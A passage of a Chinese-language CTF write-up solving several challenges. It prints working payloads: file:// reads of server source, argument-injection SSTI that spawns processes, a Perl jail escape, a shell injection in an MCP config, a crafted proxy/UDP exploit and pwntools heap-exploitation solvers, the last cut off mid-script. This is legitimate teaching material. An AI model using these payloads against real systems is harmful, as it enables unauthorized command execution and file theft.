<p>看起來只能丟 <code>http://</code> 或 <code>https://</code>，但這只是前端檢查，所以其實直接打 <code>/convert</code> 就可以繞過。</p>
<p>不過這題有 reCAPTCHA，所以我最後是直接在瀏覽器解完 captcha 後，開 Console 送 <code>file://</code>。</p>
<pre><code>async function leak(url, name = 'out.pdf') {
  const token = grecaptcha.getResponse();

  const body = new URLSearchParams();
  body.set('url', url);
  body.set('g-recaptcha-response', token);

  const r = await fetch('/convert', {
    method: 'POST',
    body
  });

  if (!r.ok) {
    console.log(await r.text());
    grecaptcha.reset();
    return;
  }

  const blob = await r.blob();
  const blobUrl = URL.createObjectURL(blob);
  const a = document.createElement('a');
  a.href = blobUrl;
  a.download = name;
  a.click();
  URL.revokeObjectURL(blobUrl);

  grecaptcha.reset();
}
</code></pre>
<p>然後直接讀 source：</p>
<pre><code>leak('file:///proc/self/cwd/server.js', 'server.pdf');
</code></pre>
<p>下載 PDF 後就可以看到後端 source</p>
<p>重點在這段：</p>
<pre><code>async function points_to_local_directory(input) {
  let url;
  try {
    url = new URL(input);
  } catch {
    return false;
  }

  if (url.protocol !== 'file:') {
    return false;
  }

  try {
    return (await fs.stat(file_url_to_path(url))).isDirectory();
  } catch {
    return false;
  }
}
</code></pre>
<p>它只有擋 <code>file://</code> 指到資料夾的情況。</p>
<p>所以像這個會被擋：</p>
<pre><code>file:///proc/self/cwd/
</code></pre>
<p>但這種讀檔案的就不會：</p>
<pre><code>file:///proc/self/cwd/server.js
</code></pre>
<p>因此可以直接把 <code>server.js</code> 抓下來轉成 PDF 然後就可以看到 flag了</p>
<hr />
<h2>Farewell, #include</h2>
<ul>
<li>Author: solarfish</li>
</ul>
<p>題目 hint 有說可以用上一題的方法先拿資訊，所以一開始一樣先用 <code>file://</code> 讀 source。</p>
<p>這次沒有 captcha，可以直接打 <code>/convert</code>：</p>
<pre><code>BASE='challenge url here'

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'url=file:///proc/self/cwd/server.js' \
  -o server.pdf
</code></pre>
<p>然後再讀 <code>package.json</code>：</p>
<pre><code>curl -s -X POST "$BASE/convert" \
  --data-urlencode 'url=file:///proc/self/cwd/package.json' \
  -o package.pdf
</code></pre>
<p>可以看到這題多了 <code>mdpdf</code>，而且 <code>server.js</code> 也多了幾種 converter：</p>
<pre><code>if (converter === 'standard-pdf') {
  result = await run_html_pdf_node(urls);
} else if (converter === 'lite-pdf') {
  result = await run_percollate(urls);
} else if (converter === 'markdown-pdf') {
  result = await run_md_pdf(urls);
}
</code></pre>
<p>看 <code>run_percollate</code>：</p>
<pre><code>function run_percollate(user_input) {
  return new Promise(resolve =&gt; {
    const job = create_job('lite-pdf');
    const urls = getallurl(user_input);

    const args = [
      'pdf',
      '--no-sandbox',
      '--output',
      path.resolve(job.output_path),
      ...urls
    ];

    const child = spawn(process.execPath, [percollate_cli, ...args], {
      cwd: work_dir,
      stdio: ['ignore', 'ignore', 'ignore'],
      env: {
        ...process.env,
        PUPPETEER_EXECUTABLE_PATH:
          process.env.PUPPETEER_EXECUTABLE_PATH ||
          '/usr/bin/chromium'
      }
    });
  });
}
</code></pre>
<p>這邊把使用者輸入直接接到 percollate 的 argv 後面。</p>
<p>而 <code>getallurl</code> 只是用空白切開：</p>
<pre><code>function getallurl(input) {
  return String(input || '')
    .trim()
    .split(/\s+/)
    .filter(Boolean);
}
</code></pre>
<p>我可以把 URL 寫成：</p>
<pre><code>--title=ARG_INJECTION_TEST
https://example.com
</code></pre>
<p>測試：</p>
<pre><code>cat &gt; payload.txt &lt;&lt;'EOF'
--title=ARG_INJECTION_TEST
https://example.com
EOF

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode url@payload.txt \
  -o argtest.pdf
</code></pre>
<p>載下來後發現
<img src="https://hackmd.io/_uploads/r1oxqr97Gg.png" alt="image" /></p>
<p>代表 <code>--title</code> 被 percollate 當成 option 吃進去了。</p>
<p>接著去 leak percollate 的 source：</p>
<pre><code>curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=standard-pdf' \
  --data-urlencode 'url=file:///app/lib/percollate/src/cli-opts.js' \
  -o cli-opts.pdf
</code></pre>
<p>可以看到 <code>--template</code>、<code>--title</code> 都是合法 option：</p>
<pre><code>let opts_with_optarg = new Set([
  'output',
  'template',
  'style',
  'css',
  'url',
  'wait',
  'title',
  'author',
  'browser',
  'toc-level',
]);
</code></pre>
<p>再看 <code>/app/lib/percollate/index.js</code>：</p>
<pre><code>curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=standard-pdf' \
  --data-urlencode 'url=file:///app/lib/percollate/index.js' \
  -o percollate-index.pdf
</code></pre>
<p>裡面會讀 template，然後丟給 Nunjucks render：</p>
<pre><code>const html = nunjucks.renderString(
  await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'),
  {
    filetype: 'pdf',
    title,
    author,
    date: new Date(),
    items,
    style,
    options: {
      use_toc,
      use_cover:
        options.cover ||
        (options.cover !== false &amp;&amp;
          (options.title || items.length &gt; 1))
    }
  }
);
</code></pre>
<p>所以只要能控制 <code>--template</code>，就可以控制 Nunjucks template。</p>
<p>問題是 <code>--template</code> 要本機 path，不是 HTTP URL。</p>
<p>這邊可以用一個 Linux trick：</p>
<pre><code>/proc/self/cmdline
</code></pre>
<p>這個檔案會包含目前 process 的 argv。</p>
<p>而我們剛好可以控制 argv，所以可以讓 percollate 讀自己的 argv，並且把它當成 Nunjucks template render。</p>
<p>測 SSTI：</p>
<pre><code>cat &gt; payload.txt &lt;&lt;'EOF'
--template=/proc/self/cmdline
--title={{range.constructor("return(7*7)")()}}
https://example.com
EOF

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode url@payload.txt \
  -o ssti-test.pdf
</code></pre>
<p>輸出裡可以看到：
<img src="https://hackmd.io/_uploads/H1srcB9mMg.png" alt="image" /></p>
<p>執行 <code>/readflag</code>，它會回：
<img src="https://hackmd.io/_uploads/ryY_qS97zg.png" alt="image" /></p>
<p><code>Usage: /readflag give me the flag</code></p>
<p>所以要執行的是 <code>/readflag give me the flag</code></p>
<p>但是 payload 不能有空白，因為 server 會先 <code>.split(/\s+/)</code>。</p>
<p>所以不能直接：</p>
<pre><code>execSync('/readflag give me the flag')
</code></pre>
<p>改用 Node.js 的 <code>spawn_sync</code>，用 argv array 傳參數：</p>
<pre><code>args:['/readflag','give','me','the','flag']
</code></pre>
<p>最後 payload：</p>
<pre><code>cat &gt; payload.txt &lt;&lt;'EOF'
--template=/proc/self/cmdline
--title={{range.constructor("r=process.binding('spawn_sync').spawn({file:'/readflag',args:['/readflag','give','me','the','flag'],cwd:'/tmp',envPairs:Object.entries(process.env).map(e=&gt;e[0]+'='+e[1]),stdio:[{type:'pipe',readable:true,writable:false},{type:'pipe',readable:false,writable:true},{type:'pipe',readable:false,writable:true}]});return(r.output[1].toString()+r.output[2].toString())")()}}
https://example.com
EOF

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode url@payload.txt \
  -o flag.pdf
</code></pre>
<p>就可以看到 flag：
<img src="https://hackmd.io/_uploads/r1825Bqmfg.png" alt="image" /></p>
<hr />
<h2>Camel rider</h2>
<ul>
<li>Author: Frank</li>
</ul>
<p>這題是一個黑箱 Perl Jail</p>
<p>Exploit:</p>
<ol>
<li><code>open</code>、<code>readline</code>、<code>require</code>、<code>eval</code>、<code>system/qx</code> 等危險關鍵字被 blacklist</li>
<li><code>flag.txt</code> 本身沒有被擋</li>
<li><code>ARGV</code> 也沒有被擋</li>
<li>Perl 的 <code>&lt;ARGV&gt;</code> 可以讀取 <code>@ARGV</code> 裡指定的檔案</li>
<li>用具名 diamond operator <code>&lt;ARGV&gt;</code> 避開被擋的 <code>&lt;&gt;</code></li>
</ol>
<p>最後 payload：</p>
<pre><code>@ARGV=q(flag.txt);print&lt;ARGV&gt;
</code></pre>
<hr />
<h2>travel again</h2>
<ul>
<li>Author: yochan06</li>
</ul>
<p>通靈出應該在北海道，經過Google後發現這兩尊跟圖片上的幾乎一樣<a href="https://www.town.shikaoi.lg.jp/kurashi/kyoiku_bunka/history/shiseki_guide/n127/" rel="noopener noreferrer" target="_blank">https://www.town.shikaoi.lg.jp/kurashi/kyoiku_bunka/history/shiseki_guide/n127/</a></p>
<p>Flag: <code>NHNC{43.1849,143.0325}</code></p>
<hr />
<h2>Homework</h2>
<ul>
<li>Author: ConsoleBreak</li>
</ul>
<p>這題表面上是一個 matrix calculator，使用者可以輸入 <code>X</code>、<code>Y</code> 兩個矩陣和 operation。實際上程式有一個隱藏 operation <code>blend &lt;shift&gt;</code>，可以透過 <code>shift</code> 對 heap 上的 <code>Real</code> array 做越界存取。題目 debug 資訊會提示 <code>Y[0][0]</code> 到內部矩陣 <code>A[0][1]</code> 的距離剛好是 3 個 <code>Real</code>，所以用 <code>blend 3</code> 可以控制 <code>A[0][1]</code>。通過檢查後，程式會 leak <code>n</code>、<code>a_plus_d</code>、<code>bc</code>、<code>C</code>，再要求輸入隨機字串 <code>T</code>，最後用矩陣關係把 <code>T</code> 反推回來即可拿 flag。</p>
<p>Exploit:</p>
<ol>
<li>設定 <code>X</code>、<code>Y</code> 都是 <code>1x1</code> matrix</li>
<li>使用隱藏 operation <code>blend 3</code></li>
<li>因為 <code>Y[0][0] + 3 * sizeof(Real) == A[0][1]</code>，所以可以覆寫 <code>A[0][1]</code></li>
<li>令 <code>X = 0</code>、<code>Y = 1e80</code>，讓 <code>A[0][1] = 1e80</code></li>
<li>程式會 leak <code>n</code>、<code>a_plus_d</code>、<code>bc</code>、<code>C</code></li>
<li>已知 <code>b = 1e80</code>，所以可以算出 <code>c = bc / b</code></li>
<li>建立 companion matrix <code>[[0, b], [c, a_plus_d]] ** n</code></li>
<li>對每個 <code>C[i]</code> 反推第一個座標，也就是 <code>ord(T[i])</code></li>
<li>組回 <code>T</code> 後送回程式取得 flag</li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
from pwn import *
from decimal import *
import re, sys

context.log_level = "error"
getcontext().prec = 650
getcontext().Emax = 999999999
getcontext().Emin = -999999999

E = 80
B = Decimal(10) ** E

io = remote(sys.argv[1], int(sys.argv[2])) if len(sys.argv) == 3 else process(sys.argv[1])

io.send(
    b"1 1\n1 1\n0\n" +
    (b"1" + b"0" * E) + b"\n"
    b"blend 3\n"
)

s = io.recvuntil(b"T:").decode(errors="ignore")

n = int(re.search(r"n = (\d+)", s).group(1))
tr = Decimal(re.search(r"a_plus_d = ([^\n]+)", s).group(1))
bc = Decimal(re.search(r"bc = ([^\n]+)", s).group(1))
nums = [Decimal(x) for x in re.findall(r"[-+]?\d+(?:\.\d+)?e[+-]?\d+", s.split("C = ", 1)[1])]

def mul(a, b):
    return [
        [a[0][0]*b[0][0]+a[0][1]*b[1][0], a[0][0]*b[0][1]+a[0][1]*b[1][1]],
        [a[1][0]*b[0][0]+a[1][1]*b[1][0], a[1][0]*b[0][1]+a[1][1]*b[1][1]],
    ]

m = [[Decimal(0), B], [bc / B, tr]]
r = [[Decimal(1), Decimal(0)], [Decimal(0), Decimal(1)]]

while n:
    if n &amp; 1:
        r = mul(r, m)
    m = mul(m, m)
    n &gt;&gt;= 1

det = (-bc) ** int(re.search(r"n = (\d+)", s).group(1))
T = ""

for x, y in zip(nums[::2], nums[1::2]):
    v = (r[1][1] * x - r[0][1] * y) / det
    T += chr(int(v.to_integral_value(rounding=ROUND_HALF_EVEN)))

io.sendline(T.encode())
print(io.recvall(timeout=2).decode(errors="ignore"), end="")
</code></pre>
<hr />
<h2>Tea-agent</h2>
<ul>
<li>Author: LemonTea</li>
</ul>
<p>題目讓使用者上傳 MCP config，agent 會檢查 <code>command</code> 必須是 <code>/app/mcp_memory</code>，但啟動 server 時把 <code>args</code> 直接接進 shell command，沒有正確 quote，導致可以在參數裡插入 <code>;</code> 做 command injection。因為 <code>cat /flag</code> 被擋，所以改用 <code>dd&lt;/flag</code> 讀出 flag。</p>
<p>Exploit:</p>
<ol>
<li><code>command</code> 保持 <code>/app/mcp_memory</code> 通過 allowlist</li>
<li>在 <code>--profile</code> 參數插入 <code>;dd&lt;/flag;#</code></li>
<li>shell 實際執行 <code>/app/mcp_memory --profile=guest;dd&lt;/flag;# ...</code></li>
<li><code>dd</code> 讀取 <code>/flag</code> 並輸出到 MCP stdout</li>
</ol>
<ul>
<li><code>payload.json</code></li>
</ul>
<pre><code>{
  "mcpServers": {
    "x": {
      "command": "/app/mcp_memory",
      "args": [
        "--profile=guest;dd&lt;/flag;#",
        "--topic=general"
      ]
    }
  }
}
</code></pre>
<h2>I Love Proxy</h2>
<ul>
<li>Author: LemonTea</li>
</ul>
<p>題目有一個對外的 <code>edge-httpd</code> proxy，內部還有一個只 expose 在 docker network 的 <code>courier:7000</code>。<code>edge-httpd</code> 的 UDP control plane 可以註冊 proxy route，但 activation 的 <code>global key</code> 是由攻擊者給的 seed 算出來的，沒有真正認證，所以可以註冊 <code>/H -&gt; courier:7000</code>。接著利用 <code>courier.cgi</code> 的 hidden route hash、header hash padding、長 Host 檢查與偽造 body command object，最後觸發 <code>run_filter("cat /flag.txt")</code> 拿 flag。</p>
<p>Exploit:</p>
<ol>
<li>逆 <code>edge-httpd</code> 發現 UDP control plane 可以新增 route</li>
<li>送 activation packet，自己算出 <code>global key</code></li>
<li>送 route registration packet，註冊 <code>/H -&gt; courier:7000</code></li>
<li>逆 <code>courier.cgi</code> 找到 hidden route：<code>suffix_hash_is(PATH_INFO, 10, 0x26045b27)</code></li>
<li>使用同時滿足 suffix hash / full path hash 的 path：<code>/H=\xc8\x01\x01\xc8/1kVa/6.9R</code></li>
<li>用 <code>X-Pad</code> 讓 raw header 的 FNV hash 變成指定 <code>tag</code></li>
<li>用超長 <code>Host</code> header 通過 host/body chain check</li>
<li>在 512-byte body 裡偽造 courier 的 command object</li>
<li>command 設成 <code>cat /flag.txt</code>，callback 指到 <code>run_filter</code></li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
import re, socket, struct, sys, time
from urllib.parse import urlparse

M32 = 0xffffffff
M64 = 0xffffffffffffffff

def rol32(x,r): return ((x&lt;&lt;r)|(x&gt;&gt;(32-r))) &amp; M32
def ror32(x,r): return ((x&gt;&gt;r)|(x&lt;&lt;(32-r))) &amp; M32
def rol64(x,r):
    x &amp;= M64; r &amp;= 63
    return ((x&lt;&lt;r)|(x&gt;&gt;(64-r))) &amp; M64
def ror64(x,r):
    x &amp;= M64; r &amp;= 63
    return ((x&gt;&gt;r)|(x&lt;&lt;(64-r))) &amp; M64

def mix64(x):
    x &amp;= M64
    x = ((x ^ (x &gt;&gt; 30)) * 0xbf58476d1ce4e5b9) &amp; M64
    x = ((x ^ (x &gt;&gt; 27)) * 0x94d049bb133111eb) &amp; M64
    return (x ^ (x &gt;&gt; 31)) &amp; M64

def fnv(d, h=0x811c9dc5):
    for c in d:
        h = ((h ^ c) * 0x1000193) &amp; M32
    return h

def csum(d, seed):
    r11 = (seed &amp; 0xff) ^ len(d) ^ 0x9e3779b9
    edi = seed &amp; M32
    r10 = seed &amp; 0xff
    for i,b in enumerate(d):
        x = (b + (edi &amp; 0xff)) &amp; M32
        m = (i ^ r10) &amp; 3
        if m == 1:
            x = (rol32(x ^ 0x41, (i &amp; 7) + 3) + r11) &amp; M32
        elif m == 2:
            x = ror32((x * 0x10101) &amp; M32, (i &amp; 7) + 1) ^ r11
        elif m == 0:
            x = ((x &lt;&lt; ((i &amp; 3) * 8)) &amp; M32) ^ r11
        else:
            x = (((r11 &gt;&gt; 11) ^ x) + r11) &amp; M32
        edi = (edi + 0x11) &amp; M32
        r11 = ((rol32(x, 5) * 0x45d9f3b) + 0x27100001) &amp; M32
    return (r11 ^ 0xa5c31e2d) &amp; M32

def edge_key(seed):
    ebx = int.from_bytes(seed.to_bytes(4, "big"), "little")
    a = (((seed ^ 0x7f4a7c15) * 0x45d9f3b + 0x27100001) &amp; M32)
    a = rol32(a, ((ebx &gt;&gt; 24) &amp; 7) + 5)
    b = ror32((seed - 0x5a3ce1d3) &amp; M32, ((ebx &gt;&gt; 16) &amp; 7) + 3)
    return 0x31415927 if a == b else (a ^ b) &amp; M32

def activation(seed=0x12345678):
    p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x36]) + seed.to_bytes(4,"big") + b"\0"*4)
    p[10:14] = csum(p[4:10], (seed ^ 0xa7) &amp; 0xff).to_bytes(4,"big")
    return bytes(p), edge_key(seed)

def route_pkt(key, route=b"/H", up=b"courier:7000"):
    k = 0x42
    dec = k ^ 0xa7
    er = bytes(c ^ ((0x31 + 13*i) &amp; 0xff) ^ dec for i,c in enumerate(route))
    eu = bytes(c ^ ((0x31 + 13*i) &amp; 0xff) ^ dec for i,c in enumerate(up))
    p = bytearray(b"\x89\x54\x32\x17" + bytes([3,0x71,0x22,k]))
    p += len(route).to_bytes(2,"big") + len(up).to_bytes(2,"big") + key.to_bytes(4,"big")
    p += er + eu
    p += csum(p[4:], (k ^ 0xa7) &amp; 0xff).to_bytes(4,"big")
    return bytes(p)

def mark(tag,bucket,pressure):
    x = ((pressure &lt;&lt; 9) ^ (tag &lt;&lt; 21) ^ bucket ^ 0x434f555249455237) &amp; M64
    return rol64((x * 0x9e3779b97f4a7c15) &amp; M64, (tag &amp; 0xf) + 7) ^ 0xa24baed4963ee407

def slot(tag,bucket,pressure,n):
    return mix64((tag&lt;&lt;32) ^ (pressure&lt;&lt;7) ^ ((n*0x9e3779b97f4a7c15)&amp;M64) ^ (bucket&lt;&lt;19) ^ 0x6c61796f75745f30) &amp; 3

def slide(tag,bucket,pressure,gate,n):
    x = ((n*0xd6e8feb86659fd93)&amp;M64) ^ gate ^ mark(tag,bucket,pressure) ^ (tag&lt;&lt;23) ^ (pressure&lt;&lt;51) ^ 0x736c6964655f3130
    return (mix64(x) % 3) * 8

def stream(tag,bucket,pressure,gate,i,l):
    x = (pressure&lt;&lt;19) ^ i ^ (l&lt;&lt;7) ^ rol64(gate,(i&amp;15)+3) ^ (tag&lt;&lt;32) ^ 0x544150455f4c4f47
    x = (x + ((i*0x9e3779b97f4a7c15)&amp;M64) + mark(tag,bucket,pressure)) &amp; M64
    y = mix64(x)
    return (y ^ (y &gt;&gt; 17) ^ (y &gt;&gt; 41)) &amp; M32

def cmdhash(enc,tag,bucket,pressure,gate):
    v = (tag ^ ((pressure * 0x45d9f3b) &amp; M32) ^ len(enc) ^ 0x811c9dc5) &amp; M32
    for i,b in enumerate(enc):
        v = (((b + (stream(tag,bucket,pressure,gate,i,len(enc)) &amp; 0xff)) ^ v) * 0x1000193) &amp; M32
        v ^= v &gt;&gt; 13
    return (v ^ 0x6d2b79f5) &amp; M32

def req():
    n, tag, bucket, pressure = 512, 0x0d45c059, 17, 29
    path = b"/H=\xc8\x01\x01\xc8/1kVa/6.9R"
    gate = mix64((bucket &lt;&lt; 44) ^ (pressure &lt;&lt; 19) ^ 0x484570243e202f2c)
    host12 = ((n &lt;&lt; 7) ^ gate ^ 0x5353495f504f5354) &amp; 0xffffffffffff

    h = [
        b"POST " + path + b" HTTP/1.1",
        b"Host: " + b"A"*0x558 + f"{host12:012x}".encode(),
        b"XXGATS_IGC: z",
        b"Content-Length: 512",
        b"-tveemh: raw",
    ] + [b"x-render-worker: z"] * 30
    head = b"\r\n".join(h) + b"\r\nX-Pad: " + bytes.fromhex("b97455010105") + b"\r\n\r\n"

    body = bytearray(b"\0" * n)
    mk = mark(tag,bucket,pressure)
    key = mix64((tag &lt;&lt; 11) ^ (pressure &lt;&lt; 47) ^ gate ^ 0x6a73696d705f6275)

    body[0x49:0x51] = struct.pack("&lt;Q", 0x58)
    body[0x58:0x60] = struct.pack("&lt;Q", 0x58)
    body[0x80:0x88] = struct.pack("&lt;Q", key ^ 0x9c8e949aa062989e)
    body[0x88:0x90] = struct.pack("&lt;Q", key ^ 0x01a00000)
    body[0x90:0x98] = struct.pack("&lt;Q", key ^ rol64((gate ^ mk) &amp; M32, 17))
    body[0xd0:0xd8] = struct.pack("&lt;Q", 0xf8)
    body[0xd8:0xe0] = struct.pack("&lt;Q", 0x5245545f414c4947)
    body[0xe0:0xe8] = struct.pack("&lt;Q", 0x53595354454d5f31)

    sl = slide(tag,bucket,pressure,gate,n)
    st = slot(tag,bucket,pressure,n)
    ecx = (tag ^ ((pressure * 0x45d9f3b) &amp; M32)) &amp; M32
    x = (ecx ^ 0x6a09e667) &amp; M32
    x = ((x ^ (x &gt;&gt; 16)) * 0x7feb352d) &amp; M32
    x = (x ^ (x &gt;&gt; 15)) &amp; M32
    dst = (x &amp; 7) + sl

    def put(o,d):
        body[o-dst:o-dst+len(d)] = d

    xgm = gate ^ mk
    seed = mix64((tag&lt;&lt;32) ^ (pressure&lt;&lt;23) ^ (st&lt;&lt;57) ^ ((n*0x94d049bb133111eb)&amp;M64) ^ (sl&lt;&lt;48) ^ xgm ^ 0x7072656c75646531)
    put(0x107, struct.pack("&lt;Q", seed ^ 0x535441474532))
    put(0x10f, struct.pack("&lt;I", ror64(((tag &lt;&lt; 17) &amp; M64) ^ seed, (pressure &amp; 7) + 5) &amp; M32))
    put(0x113, struct.pack("&lt;H", (rol64(seed, bucket + 3) ^ n ^ 0x6d5a) &amp; 0xffff))
    put(0x115, bytes((mix64(((0x9e3779b97f4a7c15*i)&amp;M64)+seed) ^ (9*i+0x31) ^ (n&gt;&gt;(i&amp;7)) ^ (tag&gt;&gt;(8*(i&amp;3)))) &amp; 0xff for i in range(17)))

    cache = mix64((tag&lt;&lt;33) ^ (pressure&lt;&lt;48) ^ (st&lt;&lt;12) ^ ((n*0xa24baed4963ee407)&amp;M64) ^ (sl&lt;&lt;56) ^ xgm ^ 0x7463616368655f31)
    put(0x126, struct.pack("&lt;Q", cache))
    put(0x146, struct.pack("&lt;Q", mk))

    cmd = b"cat /flag.txt"
    enc = bytes(c ^ ((0x17*i - 0x59) &amp; 0xff) ^ (stream(tag,bucket,pressure,gate,i,len(cmd)) &amp; 0xff) for i,c in enumerate(cmd))
    chk = cmdhash(enc,tag,bucket,pressure,gate)
    put(0x13e, struct.pack("&lt;I", len(cmd)))
    put(0x142, struct.pack("&lt;I", chk))
    put(0x156, enc)

    a = mix64(mk ^ ((tag&lt;&lt;28)&amp;M64) ^ ((chk&lt;&lt;17)&amp;M64) ^ ((len(cmd)&lt;&lt;49)&amp;M64) ^ ((n*0xd6e8feb86659fd93)&amp;M64) ^ rol64(gate,9) ^ 0xfeedface43474931)
    sh = ((chk ^ len(cmd) ^ tag ^ (gate &amp; M32)) &amp; 0x1f) + 0x0d
    target = 0x4022ac
    put(0x14e, struct.pack("&lt;Q", ((rol64(target ^ a, sh) - 0xe9a9984e61c88607) &amp; M64) ^ ror64(a,17)))

    return head + bytes(body)

def parse(u):
    if "://" in u:
        x = urlparse(u)
        return x.hostname, x.port or 80
    if ":" in u:
        h,p = u.rsplit(":",1)
        return h,int(p)
    return u,int(sys.argv[2])

def main():
    host, port = parse(sys.argv[1])
    p1, key = activation()
    p2 = route_pkt(key)

    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    for _ in range(3):
        s.sendto(p1, (host, port))
        s.sendto(p2, (host, port))
        time.sleep(0.05)

    s = socket.create_connection((host, port))
    s.sendall(req())
    s.shutdown(socket.SHUT_WR)
    res = b""
    while True:
        d = s.recv(65536)
        if not d:
            break
        res += d

    print(res.decode(errors="ignore"))
    m = re.search(rb"NHNC\{[^}]+\}", res)
    if m:
        print("flag:", m.group().decode())

main()
</code></pre>
<hr />
<h2>TEAGod Tech Staff WiFi</h2>
<ul>
<li>Author: chilin.h</li>
</ul>
<p>這題是 FreeRADIUS / EAP-TLS。題目給的 <code>freeradius/cert/ca.pem</code> 不是內部 CA，而是公開的 Actalis Authentication Root CA，所以只要拿一張 Actalis 簽出的 client authentication certificate，就可以被當成合法 staff cert 通過驗證。</p>
<p>Exploit:</p>
<ol>
<li>檢查 FreeRADIUS 的 EAP-TLS 設定，發現 client cert 信任 <code>freeradius/cert/ca.pem</code></li>
<li>確認 <code>ca.pem</code> 是 <code>Actalis Authentication Root CA</code></li>
<li>申請免費 Actalis client certificate，匯出 <code>client.crt / client.key / chain.pem</code></li>
<li>只保留 leaf + <code>Actalis Client Authentication CA G3</code>，不要把 root 一起送，避免 packet 太大</li>
<li>用 <code>eapol_test</code> 跑 EAP-TLS，成功後從 <code>Reply-Message</code> 拿 flag</li>
</ol>
<ul>
<li><code>staff.conf</code></li>
</ul>
<pre><code>network={
    key_mgmt=IEEE8021X
    eap=TLS
    identity="your_mail@example.com"
    ca_cert="freeradius/cert/ca.pem"
    client_cert="client-min-chain.pem"
    private_key="client-clean.key"
    fragment_size=400
}
</code></pre>
<p>Flag: <code>NHNC{Huh...HoW_did_U_10g_iN?_https://zeroday.hitcon.org/vulnerability/ZD-2025-00549}</code></p>
<hr />
<h2>67 login system</h2>
<ul>
<li>Author: Auron</li>
</ul>
<p>題目是一個 login system，使用者資料會用 <code>malloc(0x48)</code> 配置，結構大概是 <code>name[0x40] + FILE*</code>。漏洞點有兩個：<code>show</code> 會直接 <code>printf(username)</code> 造成 format string leak，<code>update</code> 會對 0x48 的 chunk 讀入 0x200 bytes，造成 heap overflow。利用 overflow 改壞後面 <code>FILE</code> chunk 的 size，製造 heap overlap，再 tcache poisoning 控制 <code>.bss</code> 上的 <code>slots[]</code>，最後任意讀 leak libc，任意寫蓋 stack return address 打 <code>system("cat /flag.txt")</code>。</p>
<p>Exploit:</p>
<ol>
<li>用 <code>%7$p</code> leak PIE，<code>%13$p</code> leak stack hint。</li>
<li><code>show</code> raw output leak slot0 後面的 <code>FILE*</code> heap address。</li>
<li>overflow slot0，把後面 <code>FILE</code> chunk size 從 <code>0x1e1</code> 改成 <code>0x51</code>。</li>
<li><code>delete(slot0)</code> 時 <code>fclose(FILE*)</code> 會把 fake 0x50 chunk 放進 tcache。</li>
<li>重新 malloc 拿到舊 <code>FILE</code> chunk，造成 overlap，可以 overflow 到後面的 user chunk。</li>
<li>free user chunk 後改 tcache next，safe-linking encode 成 <code>slots[]</code>。</li>
<li>malloc 到 <code>slots[]</code>，取得任意讀寫。</li>
<li>leak <code>read@got</code> 算 libc base。</li>
<li>掃 stack 找 main 裡 show/update 回來的位置，最後蓋 saved RIP。</li>
<li>ROP 呼叫 <code>system("cat /flag.txt")</code> 拿 flag。</li>
</ol>
<ul>
<li><code>solver.py</code></li>
</ul>
<pre><code>#!/usr/bin/env python3
from pwn import *
import os
import re

BIN = "./chal" if os.path.exists("./chal") else "./share/chal"
LIBC = "./libc.so.6"

context.binary = exe = ELF(BIN, checksec=False)
libc = ELF(LIBC, checksec=False)
context.log_level = "info"

HOST = "txg.chal2.teagod.tech"
PORT = 16767

PROMPT = (
    b"1. register\n"
    b"2. show\n"
    b"3. login\n"
    b"4. update\n"
    b"5. delete\n"
    b"6. exit\n"
    b"&gt; "
)

OFF_PIE_LEAK_RET = 0x209c
OFF_SLOTS = 0x4060
OFF_READ_GOT = 0x3f88
OFF_RET = 0x101a
OFF_MAIN_AFTER_SHOW = 0x165c

def p64x(x):
    return p64(x &amp; 0xffffffffffffffff)

def start():
    return remote(HOST, PORT) if args.REMOTE else process([exe.path])

io = start()
io.recvuntil(PROMPT)

def menu(n):
    io.sendline(str(n).encode())

def reg(data):
    menu(1)
    io.recvuntil(b"username: ")
    io.send(data)
    return io.recvuntil(PROMPT)

def show(idx):
    menu(2)
    io.recvuntil(b"slot: ")
    io.sendline(str(idx).encode())
    return io.recvuntil(PROMPT)

def upd(idx, data):
    menu(4)
    io.recvuntil(b"slot: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"new username: ")
    io.send(data)
    return io.recvuntil(PROMPT)

def dele(idx):
    menu(5)
    io.recvuntil(b"slot: ")
    io.sendline(str(idx).encode())
    return io.recvuntil(PROMPT)

def raw_from_show(out):
    i = out.rfind(PROMPT)
    return out[i - 0x48:i]

def set_slots(s0=0, s1=None, s2=0, s3=0):
    if s1 is None:
        s1 = slots
    upd(1, flat(p64x(s0), p64x(s1), p64x(s2), p64x(s3)))

def leak48(addr):
    set_slots(s0=addr)
    return raw_from_show(show(0))

def find_stack_ret(stack_hint):
    target = pie + OFF_MAIN_AFTER_SHOW
    start = (stack_hint - 0x500) &amp; ~0xf
    end = stack_hint + 0x300

    for addr in range(start, end, 0x40):
        data = leak48(addr)
        for off in range(0, 0x48, 8):
            if u64(data[off:off + 8]) == target:
                return addr + off

    return stack_hint - 0x120

def find_exec_gadget(elf, pat):
    data = open(elf.path, "rb").read()

    for seg in elf.segments:
        h = seg.header
        if h.p_type != "PT_LOAD":
            continue
        if not (int(h.p_flags) &amp; 1):
            continue

        off = int(h.p_offset)
        size = int(h.p_filesz)
        vaddr = int(h.p_vaddr)

        idx = data[off:off + size].find(pat)
        if idx != -1:
            return elf.address + vaddr + idx

    return None

def make_system_rop(arg):
    ret = pie + OFF_RET

    pop_rdi = find_exec_gadget(libc, b"\x5f\xc3")
    if pop_rdi:
        return flat(ret, pop_rdi, arg, libc.sym["system"])

    pop_rdi_rbp = find_exec_gadget(libc, b"\x5f\x5d\xc3")
    if pop_rdi_rbp:
        return flat(pop_rdi_rbp, arg, 0, libc.sym["system"])

    pop_rdi_r12 = find_exec_gadget(libc, b"\x5f\x41\x5c\xc3")
    if pop_rdi_r12:
        return flat(pop_rdi_r12, arg, 0, libc.sym["system"])

    raise RuntimeError("no gadget")

fmt = b"%7$p.%13$p.\n"
reg(fmt)

out = show(0)
line = out.split(b"\n", 1)[0]

m = re.search(
